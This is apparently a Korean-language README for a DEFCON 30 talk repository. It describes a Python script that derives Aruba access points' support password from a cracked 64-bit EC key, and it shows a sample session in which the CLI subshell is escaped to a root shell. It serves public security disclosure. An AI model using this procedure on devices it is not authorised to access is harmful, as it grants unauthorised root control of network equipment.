
"Hunting Bugs In The Tropics" DEFCON 30 발표를 위한 보조 자료
DEFCON30에서 진행한 "열대 지방에서 버그 사냥" 프레젠테이션에 사용된 슬라이드가 포함된 저장소입니다. 취약한 크기(64비트)로 인해 Aruba 지원팀의 EC 공개 키를 깨서 얻은 개인 키를 기반으로 support 비밀번호를 계산하는 데 사용된 Python 스크립트가 포함되어 있습니다. 이를 통해 해당 장치의 서브셸에서 빠져나와 전체 루트 셸을 얻을 수 있습니다.
AP CLI에서 support를 실행하고 임의의 사용자 이름을 입력하여 사용할 수 있습니다:
# support
Username (Please enter with @domain.com, in lowercase): a
Token: ED14-B132-D4BB-D428
Please generate one time password at https://ase.arubanetworks.com/decode_aos_key
Support Password:
그런 다음 이 저장소의 support-access.py 스크립트에 사용자 이름과 Token 값을 전달합니다.
$ ./support-access.py a ED14-B132-D4BB-D428
Password: 4197d68283f73d5c
응답을 Support Password로 붙여넣습니다:
Support Password: 4197d68283f73d5c
Switching to Full Access
~ # whoami
root